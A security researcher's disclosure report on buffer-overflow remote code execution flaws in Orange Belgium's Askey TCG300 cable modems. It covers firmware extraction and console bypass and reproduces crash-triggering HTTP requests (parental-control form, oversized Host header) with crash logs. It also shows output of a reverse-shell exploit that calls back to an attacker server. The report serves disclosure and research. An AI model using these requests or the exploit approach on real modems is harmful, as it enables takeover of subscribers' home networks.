A Clockwork Orange - Remotely Compromising Orange Belgium Cable Modems

This report outlines vulnerabilities found in Askey TCG300 cable modems provided by Orange Belgium to its subscribers.

The modems are vulnerable to authenticated and unauthenticated remote code execution through the web administration server. These vulnerabilities arise from memory corruptions due to insecure function calls when handling HTTP requests.

These vulnerabilities can be exploited by attackers who already have access to the device’s local network, including from the guest network. Under certain specific conditions, the attack could also be launched remotely over the Internet.

By exploiting these vulnerabilities, an attacker can gain unauthorized access to Orange Belgium customers LAN, fully compromise the router, and leave a persistent backdoor allowing direct remote access to the network.

Tested product Askey TCG300 aka Siligence TCG300
Firmware TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin

Coordinated Disclosure Timeline

Initial Contact via Orange CERT-CC

Date Action
21/01/2021 - 10:42 We request a security contact for Orange Belgium from CERT.be
22/01/2021 - 10:21 A security contact is provided by CERT.be
25/01/2021 - 13:04 Report sent to Orange CERT-CC.
25/01/2021 - 15:05 Orange CERT-CC acknowledge reception, request full list of unsafe calls.
27/01/2021 - 14:06 We provide the list of unsafe calls to Orange CERT-CC.
27/01/2021 - 18:12 Acknowledgment from Orange CERT-CC.
01/02/2021 - 13:21 Orange CERT-CC asks for an extension from the initial 90-days disclosure policy.
01/02/2021 - 16:15 We request a detailed timeline indicating the firmware patch release and the firmware patch roll-out dates - as well as a rationale for the 90 days extension request - in order to decide whether or not we grant the extension.
12/02/2021 - 10:57 No answer from Orange CERT-CC. We notify them that we stick to the 90 days disclosure policy.

Second Contact, initiated by Orange Belgium Global Security

On March 9th 2021, we released the VOOdoo security research exploring exploitation of eCos cable modems of belgian Internet Service Provider VOO. We also made all of our eCos research public through our ecos.wtf website. It seems to have renewed Orange Belgium’s interest in what we sent them.

Date Action
16/03/2021 - 15:05 Orange Belgium Global Security contacts us: “Following the disclosure of the ‘VOOdo’ security analysis and after internal discussion, OBE would like to start/resume discussion with you regarding the Orange-CERT-CC/ALERT-2021-REDACTED.” They mention that some of the reported vulnerabilities are already fixed, while others are being fixed as we speak. They request an extension of the disclosure deadline to September 2021 (6 months later), invoking regulatory and contractual constraints.
17/03/2021 - 09:11 We ask Orange Belgium Global Security to indicate which vulnerabilities are already fixed in order to assess the situation. We also provide a detailed rationale as to why we’d rather stick to the 90 days (provided below).
25/04/2021 - 09:00 No answer from either Orange CERT-CC or Orange Belgium Global Security. Public release.

Our detailed rationale on why we think sticking to 90 days is OK:

Can you indicate clearly which vulnerabilities are currently patched on TCG300 deployed by Orange Belgium ?

I understand the constraints that you might be under, but a 6 months extension is a lot to ask. I agreed on an extension with VOO to protect end customers, given that an unauthenticated remote attacker could have taken over. It's not exactly the same situation here.

For the vulnerabilities I reported to Orange, the risks to end users are limited due to initial access being required.

Namely:

- authenticated RCE via the web administration panel - this is only exploitable by someone on the LAN, with knowledge of the administration password or via session hijacking, which means the customer device (e.g. laptop they used to connect to the web admin) is already compromised.

- unauthenticated RCE via Host header - this is only exploitable by someone on the LAN or guest LAN, with extensive knowledge of heap exploitation on eCos.

Orange can publish an advisory recommending their customers to disable the guest wifi if not required. This would severely limit the attack surface for those vulnerabilities until a patch is available.

I'd rather stick to the original 90 days disclosure policy and not release the full exploit code. That's what I did with the VOO exploits, they're defanged so running them won't give you a shell right away.

Over the course of this coordinated disclosure process made out of sporadic emails from two different entities, Orange managed to ask for an extension of the 90 days disclosure deadline twice but never provided clear and detailed information about what was happening on their side. We were never in direct contact with Orange security engineers.

On top of that, the fact that they came back asking for an extension after 6 weeks of radio silence because they saw the impact of our ‘VOOdoo’ research is offending. I’m convinced that upcoming security researchers would have been ignored up to the 90 days deadline (if they chose to impose one). My feeling is they got back to us because our previous research made noise and ended up in the press, not because they care about their customer premise equipment security.

When writing these lines (April 25th 2021), it is still unclear which of these issues are currently patched and Orange Belgium hasn’t released an advisory about guest network attack surface.

Now let’s dig into the technical details !

Introduction

Orange Belgium - formerly known as Mobistar - is a belgian Internet Service Provider which mostly serves the Wallonia region and part of Brussels region. It provides Internet connectivity over existing cable television systems using DOCSIS.

Two different models of cable modems are currently deployed by Orange Belgium:

  1. Siligence (white branded Askey TCG300)

  2. Compal CH6643E

orange belgium modems

Due to the recent release of Cable Haunt, we decided to take a look at one of these models: the Askey TCG300 provided by Siligence.

Firmware Extraction

Askey does not publish firmware files for devices dedicated to large ISPs. In order to gain access to the firmware we had to either exploit a flaw in the web administration panel or use physical means such as flash desoldering or UART console access.

Given our limited knowledge of the device, we decided to go the physical way and opened the box.

Accessing Console Port (UART)

We immediately identified what looked like three UART pin-outs labelled UART0, UART1, and UART2. When auto-identifying baud rate, we noticed that UART0 is live while the others are not.

Usually, cable modems have two separate systems: a Media Server (MS) running Linux and a Cable Modem (CM) real-time operating system running either eCOS or VxWorks. It turns out that this specific model does not have a Media Server component.

bus pirate hooked on TCG300

The pins setup for reference:

pinout reference

From early boot information, we see that the device bootloader is unlocked. You can see that from the ‘Enter ‘1’, ‘2’, or ‘p’’ prompt, allowing to enter the bootloader menu by pressing ‘p’.

MemSize:            256 M
Chip ID:     BCM3384ZU-B0

BootLoader Version: 2.5.0beta8 Rev2 Release spiboot dual-flash nandflash
memsys2g800x16 avs linux ssc
Build Date: May 24 2016
Build Time: 17:01:11
SPI flash ID 0xc22014, size 1MB, block size 64KB, write buffer 256, flags 0x0
StrapBus address b4e00194, value fbff7e77
NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B
Cust key size 128

Signature/PID: d22f

Successfully restored flash map from SPI flash!
NandFlashRead: Reading offset 0x2600000, length 0x5c

Image 1 Program Header:
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Found image 1 at offset 2700000
NandFlashRead: Reading offset 0x3600000, length 0x5c

Image 2 Program Header:
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Found image 2 at offset 3700000
NandFlashRead: Reading offset 0x4600000, length 0x5c

Enter '1', '2', or 'p' within 2 seconds or take default...

But even though the bootloader is unlocked, we cannot access the cable modem console given that console input/output has been explicitly disabled in non-volatile storage:

Checksum for dynamic settings:  0x42ccf5dd
Settings were read and verified.

Console input has been disabled in non-vol.
Console output has been disabled in non-vol!  Goodbye...

Firmware Dump with bcm2utils

In order to dump the firmware, we developed custom profiles for bcm2-utils. This project provides two utilities:

  • bcm2dump A utility to dump ram/flash, primarily intended as a firmware dump tool for cable modems based on a Broadcom SoC. Works over serial connection (bootloader, firmware) and telnet (firmware).

  • bcm2cfg A utility to modify/encrypt/decrypt the configuration file (aka GatewaySettings.bin), but also NVRAM images.

bcm2dump requires model-specific memory mappings definition from profiledef.c to work. Given that the device under test was not documented yet, we gathered information by dumping the bootloader and reversing it.

Thanks to the profile we wrote, we were able to auto-detect the device with bcmp2dump:

./bcm2dump -v info /dev/ttyUSB0,115200
detected profile TCG300(bootloader), version 2.5.0beta8
TCG300: Siligence TCG300-D22F
=============================
pssig         0xd22f
blsig         0x0000

ram           0x00000000                            RW
------------------------------------------------------
(no partitions defined)

nvram         0x00000000 - 0x000fffff  (     1 MB)  RO
------------------------------------------------------
bootloader    0x00000000 - 0x0000ffff  (    64 KB)
permnv        0x00010000 - 0x0002ffff  (   128 KB)
dynnv         0x000c0000 - 0x000fffff  (   256 KB)

flash         0x00000000 - 0x07ffffff  (   128 MB)  RO
------------------------------------------------------
linuxapps     0x00100000 - 0x026fffff  (    38 MB)
image1        0x02700000 - 0x036fffff  (    16 MB)
image2        0x03700000 - 0x046fffff  (    16 MB)
linux         0x04700000 - 0x04efffff  (     8 MB)
linuxkfs      0x04f00000 - 0x06efffff  (    32 MB)

Dumping NAND We then dumped the NAND flash content. First bcm2dump will patch the code in memory and then trigger calls to dump the flash over serial.

In the excerpt below, we dump the firmware image which we analyzed to identify issues listed in section ‘Findings’.

./bcm2dump -v dump /dev/ttyUSB0,115200 flash image1 image1.bin
detected profile TCG300(bootloader), version 2.5.0beta8
updating code at 0x84010000 (436 b)
100.00% (0x840101b3)               6  bytes/s (ELT      00:01:11)
dumping flash:0x02700000-0x036fffff (16777216 b)
100.00% (0x036fffff)            7.10k bytes/s (ELT      00:38:28)

Dumping SPI Flash Dumping dynamic settings can also be done using bcm2dump:

./bcm2dump -v dump /dev/ttyUSB0,115200 nvram dynnv dynnv.bin

Bypassing Disabled Console Prompt

If you remember the boot logs, we cannot access the device console because it’s been explicitly disabled in the non-vol settings:

Checksum for dynamic settings:  0x42ccf5dd
Settings were read and verified.

Console input has been disabled in non-vol.
Console output has been disabled in non-vol!  Goodbye...

We explored diffrent avenues when trying to bypass this protection:

  • Patching the firmware code
  • Patching the permnv settings
  • Patching the dynnv settings

We ended up patching dynamic settings. First, let’s dump dynnv from the SPI flash using bcm2-utils:

./bcm2dump -F -v dump /dev/ttyUSB0,115200 nvram dynnv dynnv.bin

We can see that serial_console_mode is set to disabled:

./bcm2cfg get dynnv.bin | more
{
  bfc = {
    serial_console_mode = disabled
  }

Let’s rewrite it:

./bcm2cfg set dynnv.bin bfc.serial_console_mode 2 dynnv.modified.bin
bfc.serial_console_mode = rw

Now that we have a modified dynnv partition, it’s time to write it back to the device. The problem here is that bcm2dump does not support (yet) writing back to nvram or flash from the bootloader menu.

In the meantime, we simply plugged ourselves to the SPI flash with an 8-pin SOIC clip.

buspirate SPI

The chip is a Macronix MX25L8006E, with a simple pinout:

macronix pinout

There are some issues to overcome when writing back, such as editing multiple copies of dynamic settings. This is out of the scope of this article. If you want to know more, head over to ecos.wtf.

But once the right settings are written back, we obtain a shell on UART0:

CM> dir

!               ?               REM             call            cd
dir             find_command    help            history         instances
ls              man             pwd             sleep           syntax
system_time     usage
----
con_high        cpuLoad         cpuUtilization  exit            mbufShow
memShow         mutex_debug     ping            read_memory     reset
routeShow       run_app         shell           socket_debug    stackShow
taskDelete      taskInfo        taskPrioritySet taskResume      taskShow
taskSuspend     taskSuspendAll  taskTrace       usfsShow        version
write_memory    zone
----
[CmRgMsgPipe] [Console] [HeapManager] [HostDqm] [avs] [cm_hal] [docsis_ctl]
[dtp] [embedded_target] [event_log] [fam] [flash] [forwarder] [ftpLite]
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
[spectrum_analyzer]

On top of that, another shell opens up on UART2:

RG> help

 !               ?               REM             call            cd
 dir             find_command    help            history         instances
 ls              man             pwd             sleep           syntax
 system_time     usage
 ----
 btcp            con_high        cpuLoad         cpuUtilization  exit
 mbufShow        memShow         mutex_debug     ping            read_memory
 reset           routeShow       run_app         shell           socket_debug
 stackShow       taskDelete      taskInfo        taskPrioritySet taskResume
 taskShow        taskSuspend     taskSuspendAll  taskTrace       version
 write_memory    zone
 ----
 [80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter]
 [embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient]
 [ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
 [tr69]

Each console has a specific function (CM stands for Cable Modem, RG stands for Router Gateway). Access to the consoles is required to obtain crash logs from devices but it is not required to successfuly exploit identified issues in production devices.

Firmware Analysis

ProgramStore Extraction

Firmware files are saved in ProgramStore file format. The format defines a custom header containing the date, versions, filename, load address, and then the actual firmware compressed using LZMA.

00000000  d2 2f 00 05 01 00 01 ff  59 56 41 3c 00 50 3c 0c  |./......YVA<.P<.|
00000010  80 00 40 00 54 43 47 33  30 30 2d 44 32 32 46 2e  |..@.TCG300-D22F.|
00000020  45 47 30 30 2e 31 35 2e  30 31 2e 4f 42 45 2e 30  |EG00.15.01.OBE.0|
00000030  31 2e 30 35 2e 31 31 2d  56 2d 45 2d 31 37 30 36  |1.05.11-V-E-1706|
00000040  33 30 5f 73 74 6f 2e 62  69 6e 00 00 00 00 00 00  |30_sto.bin......|
00000050  00 00 00 00 d1 d8 00 00  35 94 8d 51 5d 00 00 00  |........5..Q]...|
00000060  01 00 20 20 0e 00 0d 3a  28 ab ef 31 23 33 44 83  |..  ...:(..1#3D.|
00000070  db 18 9b 57 12 d9 ed 76  9b d2 8d 4c ad 5b 7f 7a  |...W...v...L.[.z|
00000080  0f 11 d2 c8 a8 77 99 48  98 fb 58 74 c2 b6 82 6e  |.....w.H..Xt...n|
00000090  74 89 bd 9f fb 21 63 03  40 1b dd 39 8b e9 58 48  |t....!c.@..9..XH|

In order to decompress the firmware image, you need to build the ProgramStore utility from Broadcom:

git clone https://github.com/Broadcom/aeolus.git
cd aeolus/ProgramStore
make

Once built, you can use it to decompress the image:

./ProgramStore -x -f TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin 
No output file name specified.  Using TCG300-D22F.out.
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Loading Firmware with Reverse Engineering Tools

Loading the firmware in Radare2 You can load the firmware in radare2 with the command below:

r2 -a mips -b 32 -m 0x80004000 -e 'cfg.bigendian=true' image1

Loading the firmware in Ghidra When loading in Ghidra, you need to set the architecture to MIPS 32bit big endian, and then set the right loading address.

Selecting MIPS 32 bit big endian

Setting load address to 0x80004000

Advanced details on reverse engineering process such as function auto-identification, automated function renaming, memory mappings, or interrupt handling falls out of scope of this article and are therefore not covered. Again, if you want to know more, head over to ecos.wtf.

Findings

The following sections document security vulnerabilities we have identified when reverse engineering the firmware code. Please note that this is in no way an exhaustive list of vulnerabilities that may lie within the firmware.

Stack Buffer Overflows

We identified a stack buffer overflow in the parental control section of the web administration interface. It affects a form handler that expects a list of URLs that should be blocked by parental controls.

It’s possible to trigger a stack overflow by sending an HTTP request such as the one displayed below. Sending the request will trigger a crash, with a detailed crash log provided by eCOS over serial.

POST /goform/AskParentalControl HTTP/1.1
Host: 192.168.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 132
Content-Type: application/x-www-form-urlencoded

urlList0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The vulnerability is triggered at offset 0x803f4d44 when a call to strncat is made with user controlled input and user controlled length.

insecure strncat

As we can see in the excerpt below, the return address (PC) has been overwritten with our payload (0x41414141).

******************** CRASH ********************

Image Name: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
Image Path: /home/nick_hsu/Release/1_Orange/CHE1440F_Orange_VOO_v11_20170630/
rbb_cm_src/CmDocsisSystem/ecos/CHE1440F_D22F

Exception code/type: 4 / Address error (load/fetch)    TP0

r0/zero=00000000 r1/at  =00005a00 r2/v0  =00000001 r3/v1  =00000001
r4/a0  =867eef2c r5/a1  =00000000 r6/a2  =00000002 r7/a3  =81390000
r8/t0  =8dcc6d00 r9/t1  =8dcc6d00 r10/t2 =00000002 r11/t3 =00002300
r12/t4 =00000000 r13/t5 =0d004156 r14/t6 =53000100 r15/t7 =0003e800
r16/s0 =41414141 r17/s1 =41414141 r18/s2 =41414141 r19/s3 =41414141
r20/s4 =41414141 r21/s5 =41414141 r22/s6 =41414141 r23/s7 =41414141
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =805199b4 r27/k1 =80e2f864
r28/gp =81971b10 r29/sp =86703fd0 r30/fp =00000001 r31/ra =41414141

PC   : 0x41414141    error addr: 0x41414141
cause: 0x00000010    status:     0x1000d703

BCM interrupt enable: 20000100, status: 00000000
Bad PC.  Using RA for trace.
Bad PC or SP.  Can't trace the stack.

Current thread = 86706004

We have developed a stable exploit that will get the attacker a reverse shell on the device. The exploit overwrites the return address and follows a ROP chain that gets the device to connect to an arbitrary server.

The server returns a second stage payload that is copied in memory by the ROP chain before it executes it by making the program counter points to that address. Please note that this exploit works whether console I/O is enabled or not. This means it will work on production modems deployed by Orange Belgium.

In the excerpt below, we send the exploitation request:

python auth_exploit.py -u admin -p cnEv5fuV
[+] Login successful. Sending exploit payload.

While in this one, we have our callback server that serves the second stage and obtain a reverse shell on the device:

python server.py
[+] Trying to bind to 0.0.0.0 on port 2049: Done
[+] Waiting for connections on 0.0.0.0:2049:
[+] Got connection from 192.168.22.1 on port 1031
[+] Got connection. Sending payload.
[*] Switching to interactive mode
$ help
!               ?               REM             call            cd             
dir             find_command    help            history         instances      
ls              man             pwd             sleep           syntax         
system_time     usage           
----
btcp            con_high        cpuLoad         cpuUtilization  exit           
mbufShow        memShow         mutex_debug     ping            read_memory    
reset           routeShow       run_app         shell           socket_debug   
stackShow       taskDelete      taskInfo        taskPrioritySet taskResume     
taskShow        taskSuspend     taskSuspendAll  taskTrace       version        
write_memory    zone            
----
[80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter] 
[embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient] 
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop] 
[tr69] 
$  

Heap Buffer Overflows

We identified another type of memory corruption, this time reachable from an unauthenticated user perspective.

When parsing the HTTP Host header, the device makes an insecure copy to the heap, which leads to heap corruption. This corruption can be triggered by sending the HTTP request displayed below.

GET / HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Sending the request will trigger a crash, with a detailed crash log provided by eCOS over serial.

******************** CRASH ********************

Image Name: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
Image Path: /home/nick_hsu/Release/1_Orange/CHE1440F_Orange_VOO_v11_20170630/
rbb_cm_src/CmDocsisSystem/ecos/CHE1440F_D22F  

Exception code/type: 4 / Address error (load/fetch)    TP0

r0/zero=00000000 r1/at  =00000000 r2/v0  =81390000 r3/v1  =00000001
r4/a0  =00000020 r5/a1  =00000000 r6/a2  =00000000 r7/a3  =00000000
r8/t0  =00000001 r9/t1  =41414141 r10/t2 =00000009 r11/t3 =0000000b
r12/t4 =00000001 r13/t5 =41414141 r14/t6 =41414141 r15/t7 =41414141
r16/s0 =41414135 r17/s1 =867065a8 r18/s2 =867064c0 r19/s3 =86e9d320
r20/s4 =86704810 r21/s5 =867065a8 r22/s6 =86704838 r23/s7 =11110017
r24/t8 =00000000 r25/t9 =00000000 r26/k0 =00000006 r27/k1 =00000006
r28/gp =81971b10 r29/sp =86704420 r30/fp =86704920 r31/ra =80016c5c

PC   : 0x80016c68    error addr: 0x41414139
cause: 0x00000010    status:     0x1000d703

BCM interrupt enable: 20000100, status: 20000000
Instruction at PC: 0x8e030004
iCache Instruction at PC: 0x00000000

entry 80016bf0    called from 800049d8
entry 800049d0    called from 80ea3b14
entry 80ea3b08    called from 80ea3b30
entry 80ea3b28    called from 80020cd8
entry 80020cb4    called from 8002201c
entry 8002200c    called from 8043860c
entry 804382e8  Return address (41414141) invalid or not found.  Trace stops.

We also turned this corruption into a stable exploit that connects back to an arbitrary server. Due to the lack of public tools to reverse engineer Broadcom eCOS firmwares (yet), all we can say is that the corruption happens when manipulating BcmHeapManager MemoryNode objects at offset 0x80016bf0. The function responsible for parsing HTTP request making insecure memory copies starts at offset 0x804382e8.

Remote Exploitation

With a few exceptions, Orange Belgium cable modems web administration interface is not directly exposed to the public Internet and can only be reached from customers local area network.

However, attackers could target the device while connected to the wireless guest network and gain the ability to cross boundaries between the guest and private networks.

Under specific conditions, attackers could also target cable modems over the Internet by getting customers to open a malicious web page. The malicious web page would execute JavaScript code exploiting the buffer overflow to gain remote code execution. To do so, the malicious code would need to bypass two security mechanisms: Same-origin Policy, and enforced authentication.

We discovered that affected devices are vulnerable to DNS rebinding attacks, which can be used to bypass the Same-origin policy. To bypass authentication, the attacker would need to be able to guess or derive the device’s password (we did not identify ways to do so, but it’s not unheard of or to get its victim to have established an authenticated session onto the device web administration interface during the day. As you might have noticed, the web interface does not keep track of opened session with a session cookie but simply links the client IP with an authenticated session.

Conclusion

In this report, we successfully demonstrated that the web administration panel of Askey TCG300 devices is vulnerable to different kinds of buffer overflows.

By exploiting these vulnerabilities, attackers could fully compromise Orange Belgium cable modems by just being connected to the (guest) network or, under very specific conditions, over the Internet by targeting an Orange Belgium subscriber.

Side Note on Compal

We did not look at the Compal cable modem provided by Orange Belgium. However, we can say with medium to high confidence that they are highly unlikely to be affected by the exact same issues. While Askey devices run on eCOS, most components of Compal appears to be running on Linux.

Proof-of-Concepts

All proof-of-concepts and exploit code can be found in ecos.wtf Github repo ecosploits.